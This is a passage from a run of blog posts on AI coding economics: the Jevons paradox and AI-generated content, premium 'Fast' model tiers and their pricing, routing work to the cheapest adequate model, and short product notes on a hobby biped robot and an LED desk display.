**Assume the offense curve moves as fast as yours.** The same price-performance collapse that lets you ship faster lets attackers probe faster. Static, severity-based patching is a 2024 posture against a 2026 offense.

**Keep the frontier for the hard part—on both sides.** Reserve your expensive defensive analysis for the genuinely hard problems, and assume attackers are doing the symmetric thing on offense.

## The shift in one sentence

In 2026, the defining security shift is that =="the cost of breaking code moved down the same curve as the cost of writing it."== Exploit chains are approaching commodity, the coding agents we deployed for productivity are now part of the attack surface, and the economically rational posture shifted from patching isolated flaws to governing the identities—human and non-human—that sit on the paths to production.

The productivity dividend and the vulnerability dividend are the same curve. The teams that thrive will be the ones that took both halves of it seriously at the same time.

## Companion pieces

- [The Year Coding Became a Commodity](/blog/ai-coding-cost-collapse-2026/) — the productivity-dividend companion to this piece.
- [Maximize Value, Not Intelligence](/blog/maximize-value-not-intelligence/) — the practical half: which providers to buy, how to route between tiers, and which jobs just became worth automating.

## References

::citations{format="apa"}

---

# The Content Paradox: Why Making AI Writing Easier Makes the Internet Worse

> When you make content creation 100x cheaper, you don't get 100x better information—you get 100x more noise. The economic logic of Jevons Paradox explains why AI is drowning the internet in synthetic mediocrity.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-08-28

Canonical: https://anth.us/articles/jevons-paradox-ai-slop/

You're searching for how to fix a slow Node.js API. The first five Google results look promising—detailed tutorials, code samples, performance benchmarks. You click the first link.

Generic advice. Hallucinated function names. Code samples that don't compile. The second link? Same thing. The third? Also AI-generated, but this time it's literally the same article with different synonyms swapped in ("optimize" → "enhance," "performance" → "efficiency").

By the tenth result, you realize: **every single page is AI slop**. The internet didn't run out of information about Node.js performance. The real information got buried under an avalanche of synthetic mediocrity.

This is the Content Paradox.

And this article is AI slop. A model wrote the first draft. I edited it, checked the citations, and cut a few hundred words of outline-shaped filler. That is not a joke and it is not a humblebrag. If cheaper writing floods the internet with fluent mediocrity, a site like this is part of the flood. The only difference, if there is one, is whether a human with a point of view was willing to cut, check, and sign it.

::image{
  src="images/jevons-paradox-ai-slop.png"
  layout="full"
  alt="A row of white robots with magenta eyes produces an avalanche of generic pages that nearly buries one
  page covered in human proofreader marks."
}

## The Pattern is Everywhere

This isn't isolated to technical documentation. CNET published AI finance explainers that needed a pile of corrections. Sports Illustrated published product copy under fake author profiles with AI-generated headshots; its publisher denied that the copy itself was generated by AI. LinkedIn fills with "thought leadership" farmed for engagement at industrial scale.

Search has the same problem. HouseFresh, a site that actually tests air purifiers, lost most of its Google traffic to big-media SEO pages and, later, to AI Overviews that summarize the work and keep the click.

The counterintuitive question: **Why did making content easier to create make information harder to find?**

## The Coal Paradox

In 1865, British economist William Stanley Jevons noticed something strange about coal.[@jevons-1865-coal-question]

James Watt's more efficient steam engine let industry do the same work with less coal. The logical assumption was that coal consumption would fall. Instead, it exploded.

Why? ==Because efficiency does not guarantee conservation. By making something cheaper to use, it can create much more demand.==

The efficiency **enabled new uses**. Steam engines became viable for factories, trains, ships, and pumps that never would have used them before. Demand grew faster than efficiency could save fuel.

This became **Jevons Paradox**: the counterintuitive case in which efficiency increases total resource consumption instead of reducing it. Economists now treat it as the strongest form of a broader phenomenon called the rebound effect.

The pattern repeats. Wider highways attract more drivers. Free, instant email produces spam. The printing press gave us more of everything, including garbage, while publishers, editors, and libraries struggled to filter it.

Now AI is doing the same thing to content.

## The AI Content Mechanism

AI writing tools dropped production costs by orders of magnitude. Hours became seconds. Skill became a prompt. A content farm can publish hundreds of articles where it once published ten, and people who were never writers—or experts—can generate "expertise" at machine scale.

The incentives did not improve with the tools. SEO spam still works. Affiliate pages still pay. Farms still earn on pageviews, not value. When generation is nearly free, volume wins.


==AI makes content easier to produce, but it does not make judgment cheaper.==


A researched piece still takes expertise, taste, and time. "10 Tips for Node.js Performance" takes thirty seconds and a template. AI democratizes production. Excellence still needs an editor.

We train models on the internet. If future training sets become dominated by model output, each generation trains on a photocopy of a photocopy.

Researchers call this model collapse.[@shumailov-2023-curse-of-recursion] The informal name is "Habsburg AI." Either way: tails of the distribution disappear, and the output gets more generic.

## The Information Commons

Jevons points toward a deeper problem: **the tragedy of the commons**.

The internet is a shared information resource. Everyone benefits when it is trustworthy, but the actors who pollute it can still get paid. Generators capture the upside from ads, affiliates, and rankings. Everyone else absorbs worse search and wasted attention.

Garrett Hardin described the dynamic in 1968: when a resource is shared and costs are externalized, rational actors will overuse it.[@hardin-1968-tragedy-of-the-commons]

Herbert Simon said it in 1971: a wealth of information creates a poverty of attention.[@simon-1971-designing-organizations-for-an-information-rich] We don't have a scarcity of content. We have a scarcity of curation.

That is the same failure mode as [Cybernetic Development](/cybernetic-development): optimize for generation speed without a governor, and you get slop at scale, whether the output is brittle software or synthetic essays.

## We've Solved This Before

The good news: ==we have seen this pattern before, and the response is not to smash the press.==

Email produced filters and sender reputation. Print produced editors, publishers, libraries, and criticism. The response is not to reject efficiency. It is to **govern the system around it**.

For AI content, that means search engines that deindex slop and reward reputation over time. It means communities that add friction on purpose: Stack Overflow banned generative-AI posts because plausible wrong answers swamped volunteer review. It means business models that do not depend entirely on pageviews: subscriptions, patronage, newsletters.

For people writing: make things that are hard to fake—lived detail, primary sources, a voice, a record. Generic how-tos automate. Judgment does not.

For people reading: get pickier. Follow humans. Pay the ones worth following. Treat generic phrasing and unsourced specifics as a warning.

## Conclusion: Efficiency Without Wisdom

The question is not whether to use AI for content. The tools are too useful, and the efficiency is real. The question is: **How do we govern generation so the efficiency does not become pollution?**

Jevons Paradox says **efficiency is not a solution. It is a multiplier.** On coal: industry and soot. On writing: useful knowledge, and slop.

AI did not break the internet. It exposed incentives that were already broken: clicks over quality, volume over value.

The winners will not be whoever generates the most. They will be whoever knows when to generate, when to curate, and when to shut up.


==That takes judgment—the kind that comes from understanding both the tools and
the mess they make.==


Cheaper does not mean better. Sometimes it just means more. Including this.

## References

::citations{format="apa"}

---

# Never Use Fast

> Premium Fast mode is a latency product, and agent work is almost never latency-bound. Do not confuse the expensive priority lane with the cheaper Flash-style models that made fast synonymous with efficient.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-08-27

Canonical: https://anth.us/articles/never-use-fast/

::image{
  src="images/never-use-fast-toll-plaza.png"
  layout="centered"
  alt="First-person view of an autonomous coding agent approaching a toll plaza: Standard has one dollar mark
  and Fast has six dollar marks."
}

[Maximize Value, Not Intelligence](/blog/maximize-value-not-intelligence/) is the argument: route to the cheapest model that clears your bar, and make the expensive tier opt-in. This is the settings version — the buttons that implement it, and the one button that quietly undoes it.

Start with the button. In Cursor and a growing number of AI tools, capital-F Fast is a premium option applied to a model you have already chosen. In at least one popular tool it is the default. Turn it off, then make the exceptions earn their way back in.

## “Fast” changed meanings

The name is confusing because *fast* used to describe the economical choice.

[Google introduced Gemini 1.5 Flash in 2024](https://blog.google/innovation-and-ai/products/google-gemini-update-flash-ai-assistant-io-2024/) as a lighter-weight model than Gemini 1.5 Pro, built in response to demand for lower latency and a lower cost to serve. That meaning has not disappeared. Google still describes [Gemini Flash-Lite](https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/) as its fastest and most cost-effective model. Pick a cheaper model that also happens to be fast and you are optimizing in two useful directions at once.

But *Fast* has acquired a second meaning: not a different model, but a priority lane for the model you already picked. Cursor described the faster version of Composer 2 as offering [“the same intelligence” at a higher token price](https://cursor.com/blog/composer-2), then made that version the default. OpenAI made the terminology shift explicit in July 2026 when it [renamed Priority processing “Fast mode”](https://openai.com/api-fast-mode/).

That second meaning is what this article is about. **Do not avoid economical Flash-style models. Avoid paying a premium merely to receive the same work sooner when nobody is waiting for it.**

## What Fast actually sells you

Once you have chosen the model, a Fast service tier does not make it smarter. It buys priority capacity or a nearer place in the queue. The thing it changes is how long you wait.

Priced honestly, too. Cursor currently charges [six times Composer 2.5's standard token rates for Fast and twice Grok 4.6's](https://cursor.com/docs/models-and-pricing). OpenAI advertises [up to 2.5× faster output](https://openai.com/api-fast-mode/) and bills the tokens at a premium. Read as a raw trade, buying speed may be perfectly rational.

It is a good deal on the wrong axis. **Fast converts tokens into lower latency, and latency only costs you something when a person is sitting there waiting.** For a coding agent grinding through a migration for eleven minutes, the wait is not a cost. It is a window in which you are doing something else.

The substitute is free. Throughput is tasks in flight divided by time per task, and Fast only touches the denominator — at a premium. A second session raises the numerator at no premium at all. Pay double to finish one task in 40% of the time, or start a second task at list price and finish two in the wall-clock you already had. Fast wins only when you genuinely cannot start the second task.

Which is why this is a rule and not a preference. The situations where you cannot start a second task are rare, specific, and easy to name — so name them, and treat everything else as the default:

**Buy Fast when a human is blocked and the wait is the actual expense.** Live pairing where a teammate is watching the cursor. A production incident where minutes have a dollar value. A demo. That is the list. In each case someone's attention is metered at far more than a 2× token multiple, and the arithmetic flips cleanly.

::image{
  src="images/never-use-fast-decision.svg"
  alt="Decision diagram: when a human is waiting, Fast may be worth buying; otherwise use Standard and start
  another agent."
}

*The decision is not “do I prefer speed?” It is “whose attention becomes available sooner?”*

Everything else on your queue — the test backfill, the dependency sweep, the docs that drifted, the overnight refactor — is work you will read later. Buying its latency down accomplishes nothing except moving the moment you have to review it, and [your review capacity is the binding constraint anyway](/blog/maximize-value-not-intelligence/).

## The Fast tax, checked 2026-08-29

Every number here rots. The structure underneath it does not.

| Model / tool | Standard (in / out per 1M) | Fast (in / out per 1M) | Price multiple | Published speed gain |
| :-- | --: | --: | --: | :-- |
| Composer 2.5 (Cursor) | $0.50 / $2.50 | $3.00 / $15.00 | **6×** | none published |
| Grok 4.6 (Cursor) | $2.00 / $6.00 | $4.00 / $12.00 | 2× | none published |
| Claude Opus 5 | $5 / $25 | $10 / $50 | 2× | up to 2.5× output tok/s |
| GPT-5.6 (any tier) | list rate | 2× list rate | 2× | up to 2.5× |
| GPT-5.6 Sol Ultrafast | — | limited preview, no rate card | unpublished | up to 14×, ~750 tok/s |

*Verified August 29, 2026 against [Cursor's models and pricing page](https://cursor.com/docs/models-and-pricing), [BenchLM's Anthropic API pricing table](https://benchlm.ai/anthropic/api-pricing), and [AI Pricing Guru's OpenAI page](https://www.aipricing.guru/openai-pricing/). Standard list prices for Sol disagree across sources this week — I have deliberately left absolute flagship prices out of this table, because the multiple is the durable number and the list price is not.*

Two things fall out of that table.

The Composer row is the one to look at hardest. Six times the price on both axes, and no published throughput figure to divide it by. You cannot compute a value ratio for a speed gain nobody has quantified, and a vendor that has not published the number is not usually sitting on a flattering one.

The Opus row has a sting in it. Fast-mode Opus 5 lands at $10 / $50 per million — which is exactly Claude Fable 5's standard rate. Pay the flagship-plus price, receive the model you already had, faster. Meanwhile Opus 5 scores within half a percent of Fable 5 on CursorBench at half the cost per task, which is a good reminder that the premium tier and the fast tier are increasingly the same product wearing two labels.

The Ultrafast row is not a recommendation either way. It is a limited preview with no published rate, quota, or service term, which means you cannot evaluate it. Do not put an unpriced tier in a budget.

## The defaults that turn it on for you

"Never use Fast" would be trivial advice if Fast were something you had to go find. Mostly it is something you have to go turn off.

A pinned model and a Fast toggle look like personal preferences. They're workplace controls — defaults the team owns, not soft settings you rediscover chat by chat. [Own those defaults on purpose](https://chattic.us/thoughts/own-the-defaults/) or the vendor's factory preset keeps winning.

| Tool | The default that costs you | What to do instead |
| :-- | :-- | :-- |
| Cursor / Composer 2.5 | The Fast toggle ships on, and a selection-persistence bug has reverted it to Fast on new chats | Settings → Models → Composer 2.5, set the Standard variant; glance at the model chip before long runs |
| Cursor / Auto | All Auto modes bill at the list price of whichever model they route to | Pin one model yourself — Composer 2.5 or Luna for the bulk of the work |
| Codex | The bare `gpt-5.6` alias routes to Sol, the flagship tier | Name the tier explicitly: `gpt-5.6-luna` for routine work, Sol only when you mean it |
| Claude | Reaching for Fable 5 out of habit | Opus 5 at half the price, within 0.5% on CursorBench; keep fast mode off |
| Any tool, any vendor | "Priority," "turbo," "ultrafast," "boost" | Assume it is a latency product until the pricing page says otherwise |

*Checked August 29, 2026. Cursor's Auto billing has already moved once this month — as recently as mid-August, Auto Cost was documented as a flat rate and the $0.25/M Cursor Token Rate applied more broadly than it does now. That is the whole reason these live in a table.*

One more Codex-specific date worth acting on: `gpt-5.4` and `gpt-5.4-mini` retire from Codex with ChatGPT sign-in on **August 31, 2026**. If either is in a config file, it stops being a cheap default and starts being an error in two days.

## The manager-and-workers version

Turning Fast off is what makes a second model tier affordable, and that is where the savings actually get spent.

The pattern that has been working: Grok 4.6 as the manager for a parallel team of Composer 2.5 agents. Grok plans, splits the work, reviews what comes back, and rejects what does not meet the spec. Composer does the implementation. Other models drop into the mix when the task earns them.

The economics only work with Fast off. Grok 4.6 costs about 2.4× Composer 2.5 on output, and a manager burns more tokens than a worker does — it re-reads the plan, the diffs, and the failures. Multiply that by a 2× fast premium on the manager and a 6× premium on every worker and the management layer stops being a rounding error. Off, it is one of the cheapest ways to buy competent supervision of a coding agent.

One operational note that costs real money if you skip it: say *in the plan* that implementation runs on Composer 2.5 sub-agents. Say it before you approve. If you click through to implement without that written down, the manager will not put it there on your behalf, and you will get an expensive model doing work a cheap one was going to do. More on the shape of that setup in [Grok Bot Gave My Coding Agents a Boss](/blog/grok-bot-gave-my-coding-agents-a-boss/).

## Empty every bucket

The other half of not overpaying is not underusing. Subscriptions are not one pile of tokens — they are several pools that expire separately, and unused quota has no salvage value.

| Service | Separate pools | Reset |
| :-- | :-- | :-- |
| Antigravity (Google AI Pro) | "Gemini Models" and "Claude and GPT models" — independent counters | Weekly limit, with a five-hour rolling refresh underneath it |
| Cursor | "Cursor Models" (Grok, Composer) and "Other Models" (third-party) | Both reset with your monthly billing cycle |
| Grok Bot (included on paid Cursor plans) | Its own included usage, separate from the two Cursor pools | **Weekly**; overflow spills to on-demand spend if enabled |

*Verified August 29, 2026 against [Antigravity's models docs](https://antigravity.google/docs/models/), [Cursor's models and pricing page](https://cursor.com/docs/models-and-pricing), and [Cursor's Grok Bot plans page](https://cursor.com/help/grok-bot/plans).*

Correcting myself on that last row: I have said in a draft elsewhere that Grok Bot quota is calendar-month aligned. Cursor's own documentation says it resets weekly, and that Grok Bot is included on every paid individual plan plus Teams and Enterprise. Weekly is the number to plan against — a heavy Tuesday can push you onto on-demand pricing for the rest of the week, and Monday's unused allowance is simply gone.

Three services, three different reset cycles, none of them aligned. That is the practical consequence: the pool that is about to reset is the cheapest compute you will ever have, because its marginal cost is zero and its salvage value is zero. Scheduling matters about as much as model choice. If you are on Google AI Pro and only ever prompt Gemini, you are leaving an entire Claude-and-GPT counter on the table every week for no reason beyond habit.

## If someone else is watching the bill

The corporate version of this is a procurement default rather than a checkbox. A standard developer image ships with the latest model, Auto routing, and Fast enabled, because those are the settings that generate the fewest support tickets in week one. Nobody revisits it, and it compounds across every seat.

The question to ask in that room is narrow enough to actually get answered: *what did the fast premium buy us?* If the answer is "our agents finish overnight batch jobs sooner," there is no answer — nobody was waiting. Set the org default to the standard variant, keep Fast available for on-call and live pairing, and let people opt in when they can say who was blocked.

## What to re-check

The multipliers in this article are current as of August 29, 2026 and will move. The reasoning will not:

- Fast is a latency product. Before buying it, name the person who is waiting.
- If you cannot name one, buy concurrency instead. It is the same throughput at list price.
- Any setting that picks a model or a service tier for you can pick an expensive one. Read what it is optimizing for.
- Quota that expires unused was free capability you declined.

Re-read the vendor pricing pages quarterly, or the first time a bill surprises you. Everything above the tables should still hold; the tables will not.

## Companion pieces

- [Maximize Value, Not Intelligence](/blog/maximize-value-not-intelligence/) — the argument these settings implement: route to the cheapest model that clears the bar, and measure what you actually spend per accepted change.
- [The Year Coding Became a Commodity](/blog/ai-coding-cost-collapse-2026/) — why the fast tier inverted in the first place, from cheap-and-small in 2025 to premium-and-quick in 2026.

---

# Microduck: A 25 cm Biped You Can Retrain Yourself

> Pollen Robotics shipped a $399 open-source biped with seven RL policies in the box, MuJoCo training on your machine, and a sim-to-real path that actually works.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-08-27

Canonical: https://anth.us/articles/microduck-open-source-biped/

::image{
  src="images/posts/microduck-open-source-biped.png"
  layout="center-small-image"
  alt="Pollen Robotics Microduck open-source biped robot"
}

[Pollen Robotics' Microduck](https://pollen-robotics.com/microduck/) is a 25 cm, 800 g biped that ships with seven trained behaviors, a game controller, and a full reinforcement-learning stack you can run on your own machine. Pre-orders are open at $399 for the base robot.

## Why it matters

The interesting part is not the duck shape. It is the workflow: train in MuJoCo, deploy with `robotctl`, refine the sim, publish the policy. Pollen put the SDK, simulation, and shipped policies on GitHub under Apache-2.0. Hugging Face Jobs is in the loop for training. That is a credible sim-to-real loop in a product you can actually buy, not a lab demo.

## Key technical notes

- **Hardware:** 15 motors, camera, LiDAR, two IMUs, 50 Hz onboard policy loop.
- **Out of the box:** walk, sit/stand, kick, grab, roller skating (with skates), and get-back-up from flat on its back.
- **Retrain path:** simulation on your machine or Hugging Face Jobs, then deploy to the physical robot and share policies with the community.
- **Ecosystem:** optional dev pack (spare motors, NFC tags, HF credit), accessory pack, and charger pack.

For teams building agentic or embodied systems, Microduck is a useful reference point: open policies, open sim, and a price that makes experimentation feasible without a full lab budget.

---

# Maximize Value, Not Intelligence

> In 2023, we argued for using the dumbest model the problem will bear. That rule still works, but choosing one model isn't enough anymore. Route each job to the cheapest model that clears the bar, then measure the cost of work you actually accept.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-08-22

Canonical: https://anth.us/articles/maximize-value-not-intelligence/

_Use the cheapest model that can do the job. Then measure whether it actually did._

In December 2023, we wrote about a text classifier that didn't work as a business.[@porter-2023-maximize-profit-not-intelligence] The requirement was 95% accuracy at under $200 per million classifications. GPT-4 hit the accuracy easily and cost about $1,700 per million. A great demo and a dead venture.

The fix was not a better model. It was a worse one. We went down the ladder—GPT-3.5, then Ada 2 embeddings with logistic regression, then BERT running free in a Colab notebook—and only stopped at Word2Vec, where accuracy fell far enough that the remaining savings stopped being worth it. The thesis was ==use the dumbest model that the problem will bear==, and the only way to find that point is to go one step too far and come back.

Here's that 2023 argument in one chart—the same four models, ranked by the only number that mattered:

::image{
  src="images/classifiers/profit_per_million_GPT-4_GPT-3.5_Ada_2_BERT.png"
  layout="centered"
  alt="Bar chart from the 2023 article showing profit per million classifications across GPT-4, GPT-3.5, Ada
  2 and BERT, with the cheapest adequate model earning the most."
}

GPT-4 is the most capable model on that chart and the only one that loses money—about $1,500 per million classifications. The winner was the least sophisticated model that still cleared the accuracy bar, and it happened to be free.

That discipline still holds in 2026. But two things changed underneath it, and together they changed what the question even is.

## The other half of the ratio

Our companion piece looked at one side of the equation: [the falling price of a fixed level of AI capability](/blog/ai-coding-cost-collapse-2026/). A 2026 MIT FutureTech and CSAIL paper estimated annual price declines of roughly 5× to 10× on its knowledge and math benchmarks. Its software-engineering estimate pointed in the same direction, but with less data and much wider confidence bands.[@gundlach-2025-price-of-progress] That's the denominator.

Value is capability divided by cost, and the numerator moved too. The cheap tier didn't just get cheaper—it got _good_. That's the difference between a discount and a windfall. A discount lets you do the same work for less. ==A windfall changes which work is worth doing at all.==

The practical question is how to collect that windfall: how to route work without creating a cleanup bill, and which neglected jobs just became worth automating.

## Now we have a scoreboard

In 2023, you had to build the cost-versus-accuracy chart yourself. Now public leaderboards such as BenchLM rank coding models by capability per dollar.[@benchlm-2026-best-value-llm-for-coding-cost]

That's useful, but it comes with two warnings.

First, dividing by a tiny price can make a weak model look like an incredible bargain. BenchLM says this directly: a model can lead on value and still miss the quality bar for your work.

Second, the rankings can age almost immediately. During this review, BenchLM still showed Luna's old $6 output price even though OpenAI cut it to $1.20 on July 30.[@openai-2026-advancing-the-price-performance-frontier] A leaderboard that combines current benchmark scores with yesterday's price can reorder itself before you make a decision.

So use public rankings to find models worth testing. Don't treat them as a shopping list.

## Don't optimize the wrong ratio

But reading a ranking too literally will cost you money.

Value rankings naturally favor cheap models, even when their absolute performance isn't very good. Divide by a small enough price and almost anything looks like a bargain, including models you shouldn't point at a real repository. Even after filtering those out, a bare Score/$ ranking is a starting point, not a shopping list.

This is the part of the 2023 lesson that's easy to remember wrong. ==We didn't choose BERT because it was the cheapest. We chose it because it was the cheapest thing that still cleared the bar.== Word2Vec was even cheaper, and we rejected it. The quality bar came first. We optimized the price underneath it.

Score-per-token is useful for finding models worth trying. It isn't the number you should run your shop on, because it ignores everything that happens after the tokens are billed: retries, tool calls, test runs, and your own attention. The number that matters is **accepted changes divided by model cost, tool cost, and human repair time.**

Which means four numbers, tracked per model and per task class:

- **Merge rate** — did the agent produce a change you accepted without major repair?
- **All-in cost per accepted change** — not token cost. Include retries and sandbox time.
- **Human minutes per accepted change** — usually the largest term, and the one nobody logs.
- **Escalation rate** — what fraction of tasks fell through the cheap tier to an expensive one?

A model that's six times cheaper and leaves you with fifteen minutes of cleanup isn't cheaper. In 2023, we ran an evaluation set and read the cost per million from a chart. Now you have to measure the real workflow, because agent cost is shaped by the task, not just the tokens.

## Two tiers, and when to leave one

For most coding work, you need two practical tiers.

The **value tier** is your default. It should be capable enough to navigate the repository, run tests, and revise its own work, but cheap enough to use freely on routine changes.

The **premium tier** buys a higher chance of success on difficult work. Use it when failure would be expensive: ambiguous requirements, cross-cutting architecture, fragile migrations, and security-sensitive changes.

Start ordinary work in the value tier. If it fails, don't just send the same prompt again. ==Retries aren't independent.== A model that took a wrong path will happily take it again unless you change what it knows. Feed it the failing test, its previous diff, or the compiler error, then try again—but only two or three times.

Escalate when you have a concrete signal: CI is still red, tests still fail, the result isn't improving, or the change keeps spreading into more files. And skip the value tier when a task is obviously high-risk from the beginning.

The model names will change. The policy doesn't have to.

## The jobs that just crossed the line

This is where better value becomes more interesting than a smaller invoice.

Price isn't the only thing moving the break-even point. Agents are also getting better at staying on a task, recovering from failures, and completing longer sequences of work. Some jobs crossed the line because they became cheaper. Others crossed because an agent could finally finish them reliably. Most crossed because both things happened together.

In 2023, our classifier had a break-even point: $200 per million classifications. Below that, it was a business. Above it, it was a demo. Every neglected job on your backlog has the same kind of line. It's worth automating when the agent cost plus your review time is lower than the value of finally getting it done.

For a growing list of jobs, that answer quietly changed from “not worth it” to “obviously worth trying.”

::image{
  src="images/break-even-crossing.png"
  layout="full"
  alt="A timeline from 2023 to 2026 showing more engineering and business tasks becoming practical to
  automate as model costs fall and reliable task horizons grow."
}

_Nobody announces the crossing. You just notice the backlog stopped growing._

The best candidates aren't glamorous. They're well-scoped jobs that are valuable, repeatable, and easy for a person to review:

| Job                          | Run it      | Human gate                 |
| :--------------------------- | :---------- | :------------------------- |
| Documentation drift          | on merge    | review the pull request    |
| Dependency upgrades          | weekly      | review the diff and CI     |
| Missing-test backfills       | nightly     | review the pull request    |
| Changelogs and release notes | per release | edit before publishing     |
| Security-advisory triage     | on advisory | decide the severity        |
| Flaky-test quarantine        | nightly     | review the quarantine list |
| Mechanical migrations        | as needed   | review the generated diffs |
| Bug report to reproduction   | on report   | confirm the reproduction   |

Documentation is a good example because the tooling already exists. Scribe reads a codebase's structure, regenerates its AGENTS.md, and opens a merge request when the documentation drifts from the code.[@github-2026-scribe-self-updating-agents-md]

The pattern is simple: a trigger, a bounded task sent to the cheapest model that clears the quality bar, and a proposed change for a person to review.

==None of this auto-merges.== The value lives in the gap between “nobody
had time” and “somebody reviewed it.” Removing the review doesn't create more value.
It just moves failures into production.

::image{
  src="images/the-backlog-worked.png"
  layout="full"
  alt="A small pink-eyed robot filing paper under a warm desk lamp at night, surrounded by towering stacks of
  untouched paperwork in a dark office."
  caption="The work nobody had time for, finally getting done."
}

## The security tax

Every job in that table creates a non-human identity with access to your repository, cloud, or inbox. That's not a reason to avoid the work. It's part of the cost.

The cheap tier is exactly where the temptation to skip scoping is strongest, because each agent feels too small to matter. Recent work on LLM-in-the-loop vulnerabilities found they are consistently harder to repair with automated agents than conventional flaws, with an average **10.8% lower Pass@1 rate**. Across twenty agent–model configurations, sixteen produced a ==0% Pass@1 result== in at least one of three difficult categories: Generated Query Execution, Agent or Tool Action, and Model Output Rendering.[@arxiv-2026-towards-demystifying-and-repairing-llm]

Scope each agent to the minimum access its job needs, treat everything it ingests—error logs, issues, docs, web pages—as untrusted input to a privileged executor, and keep an inventory. We take this up properly in the companion piece: [Bugonomics: The Flip Side of Cheap Coding](/blog/bugonomics-cheap-exploits-2026/).

## The Jevons resolution

Our first companion ended on an honest catch: cheaper coding does not lower your bill, because the cheapness is what makes the larger workflow affordable enough to depend on. Total spend rises even as unit price falls.

That's true, but it isn't necessarily bad. ==If value per dollar rose twenty times and your spending rose three times, you came out ahead.== Spending more can be a perfectly sensible response to a price collapse. It's what “the same budget now buys a team” means in practice.

The problem isn't spending more. It's spending more _without measuring the return_. That's the 2023 mistake: shipping a beautiful GPT-4 classifier and waiting for the invoice to discover it wasn't a business. The four metrics above let you finish the sentence “we spend more on agents than we did last year” with a result instead of a shrug.

## What changed

In 2023, the answer was to find the dumbest model the problem would bear and stop paying for the rest. That still works, with one change: ==it's a routing policy now, not a one-time choice.==

Start with the value tier. Escalate when the task or the evidence tells you to. Measure accepted work, including the time you spend fixing it. Then use the savings on boring, valuable jobs that never used to make economic sense—with a person still reading every diff.

Maximize value, not intelligence.

## Companion pieces

- [The Year Coding Became a Commodity](/blog/ai-coding-cost-collapse-2026/) — why the price of coding capability collapsed, and why the cost curve and the autonomy curve multiply.
- [Bugonomics: The Flip Side of Cheap Coding](/blog/bugonomics-cheap-exploits-2026/) — the same curve applied to breaking software, and the coding agent as an attack surface.
- [Maximize Profit, Not Intelligence](/blog/maximize-profit-not-intelligence/) — the 2023 original, where the ladder only went down.

## References

::citations{format="apa"}

---

# B0rd

> B0rd is a standalone LED-matrix desk display built by Anthus Microelectronics, a spinoff venture rooted in Anthus's ubiquitous use of AI agents and the constant all-day need to monitor their progress and steer them. It puts glanceable information — launch countdowns, agent status, notifications, an…

By [Ryan Porter](https://anth.us/ryan) · Published 2026-08-22

Canonical: https://anth.us/articles/b0rd/

## A desk appliance for agent monitoring

B0rd grew out of a real workflow problem at Anthus. We run AI agents all day — long-running coding sessions, build pipelines, research tasks — and the bottleneck moved from writing the code to monitoring and steering the agents running it. Sitting in front of a terminal all day is not the answer. B0rd puts the signal you actually need — a finished job, a failed step, a launch slipping, an idle clock — on a desk display you can read from across the room.

It is a standalone appliance, not another phone app. Join the temporary Wi‑Fi it shows, open a browser page, enter your home network, and it finds the time and where it is on its own. Apps ship built into the OS image, not as downloads onto the device.

## Handbuilt microelectronics with a custom handbuilt (AI-assisted) OS

The positioning is simple: real, handmade hardware running a real, handmade operating system — AI-accelerated at the core, not AI-generated. The first SKU is a 64×64 LED matrix on an ESP32-S3, with e‑paper, LCD, and touch variants on the roadmap. The OS owns boot, time, networking, settings, and a place for apps that put content on the screen. It is sold and operated as a complete appliance, not a firmware blob you flash and forget.

## In sync by design

Put two matching B0rds on different desks and they stay in step without pairing, a hub, or any messages between them. Each one reads the same synchronized UTC and follows the same shared timeline contract, so each independently lands on the same scene and transition at the same moment. It is an orchestra of musicians wearing earplugs: no conductor, just a shared beat in the bones.

## Where to learn more

- Product site: [b0rd.info](https://b0rd.info) — features, hardware, the OS, manuals
- Shop: [Anthus Micronics on Etsy](https://www.etsy.com/shop/AnthusMicronics)
- See the [Spinoffs section on our About page](/about) for how Anthus Microelectronics came out of Anthus's agent workflows

---

# Bloub remakes the x.ai bot avatar in SVG

> Bloub reconstructs the x.ai bot avatar as one SVG shape that morphs through 14 measured states. No animation library.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-08-18

Canonical: https://anth.us/articles/bloub/

::image{
  src="images/posts/bloub.png"
  layout="center-small-image"
  alt="Bloub, an animated SVG recreation of the x.ai bot avatar"
}

[Bloub](https://bloub.vercel.app/) remakes the x.ai bot avatar as a single filled SVG shape that morphs through 14 states, measured frame by frame off the reference video. Eyes are separate shapes. There is no animation library. The [source is on GitHub](https://github.com/jeremy-prt/bloub).

That kind of constraint is the interesting part. An agent face you can export as SVG, PNG, GIF, or MP4, with the motion coming from measured profiles rather than a model guessing the next frame.

---

# The Year Coding Became a Commodity

> Coding agents didn't just get better. Useful coding capability got dramatically cheaper at the same time agents learned to work for longer. Those two curves multiply, changing both what small teams can attempt and where human judgment matters most.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-08-15

Canonical: https://anth.us/articles/ai-coding-cost-collapse-2026/

_Coding agents didn't just get better. Useful coding capability got dramatically cheaper._

That's the change I think we've underestimated. For years, the AI-coding story was about capability: bigger context windows, better tool use, and higher benchmark scores. That story is still true at the frontier. But the more practical story in 2026 is that last year's useful coding capability moved way down the cost curve.

Since Andrej Karpathy coined "vibe coding" in February 2025, the cost of reaching roughly the same benchmark performance has fallen by close to an order of magnitude for software-engineering tasks. At the same time, agents have gotten much better at staying on a task for hours instead of answering one prompt and stopping.

Those aren't two separate trends. They multiply. ==Cheaper models make long agent loops affordable, and longer agent loops change what you can delegate.==

## The narrative flipped

You can see it in everyday work: boilerplate, lint fixes, tests, code explanations, and well-scoped repository issues. A model doesn't need to be the smartest model available to be the right model for those jobs. It needs to clear the quality bar at a sensible cost.

So the useful question isn't, "What's the smartest model?" It's: ==what does it cost to complete this kind of engineering task at the quality I need?==

## Measure the work, not the tokens

A model can look cheap per token while burning a huge number of tokens to finish a task. Agent loops add retries, tool calls, test runs, and context re-ingestion. So the number that matters isn't the list price. It's what you spend to get useful work done.

A March 2026 paper from MIT FutureTech and CSAIL gives us a better way to measure this.[@gundlach-2025-price-of-progress] The authors combine historical inference-price data with benchmark token use from Epoch AI's Benchmark Hub and evaluate **price-adjusted performance** across knowledge, math, and software engineering—not just raw API rates.

